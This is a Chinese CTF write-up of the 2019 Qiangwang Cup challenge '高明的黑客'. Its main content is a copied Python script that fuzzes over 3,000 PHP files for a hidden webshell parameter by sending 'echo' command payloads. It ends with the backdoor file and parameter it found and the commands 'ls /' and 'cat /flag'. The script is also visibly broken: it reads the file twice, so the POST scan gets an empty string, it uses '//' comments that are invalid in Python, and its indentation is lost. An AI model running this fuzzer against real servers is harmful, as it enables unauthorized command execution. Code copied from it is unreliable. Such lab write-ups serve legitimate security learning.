[强网杯 2019]高明的黑客(每日一题)
1,打开网页,发现提示,下载文件
2,发现了三千多个php文件,打开几个文件,发现有可以传参的地方,尝试传参,但命令并没有被执行。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RfKq4Y6p-1631019565642)(https://i.loli.net/2021/09/07/yVeIzNdU5c8Ebar.png)]
3,猜测这三千多文件里有能被利用的shell,于是编写脚本尝试(我好菜,只能抄大佬们的脚本,在学了在学了)
threading.Semaphore():控制线程的最大数量
os.chdir():改变当前路径到指定路径
requests.adapters.DEFAULT_RETRIES():设置重连次数,防止线程过高,断开连接
os.listdir():返回指定文件夹包含的文件或文件夹的名字的列表
requests.Session():维持会话,可以让我们在跨请求时保存某些参数
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime(time.localtime(time.time())))
s1 = threading.Semaphore(100)
filePath = r"D:/phpstudy_pro/WWW/src/"
os.chdir(filePath)
requests.adapters.DEFAULT_RETRIES = 5
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False //设置连接的活跃状态为False
def get_content(file):
s1.acquire()
print('tring '+file+' '+time.asctime(time.localtime(time.time())))
with open(file,encoding='utf-8') as f: //打开php文件,提取所有的get和post参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]',f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]',f.read()))
data = {}
params = {}
for m in gets:
params[m] = "echo '123456';"
for n in posts:
data[n] = "echo '123456';"
url = "http://127.0.0.1/src/" +file
req = session.post(url,data=data,params=params) //请求所有的get和post
req.close() //关闭请求,释放内存
req.encoding = 'utf-8'
content=req.text
if '123456' in content:
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo '123456';")
content =req.text
req.close()
if "123456" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo '123456';"})
content =req.text
req.close()
if "123456" in content:
break
if flag == 1:
params = a
else:
params = b
print('找到了利用文件: ' + file +" and 找到了利用的参数:%s" %params)
print('结束时间: '+time.asctime(time.localtime(time.time())))
s1.release()
for i in files:
t = threading.Thread(target=get_content,args=(i,))
t.start()
4,跑完脚本,找到可利用参数
找到了利用文件: xk0SzyKwfzw.php and 找到了利用的参数:Efa5BVG
ls /
5,发现flag文件,cat /flag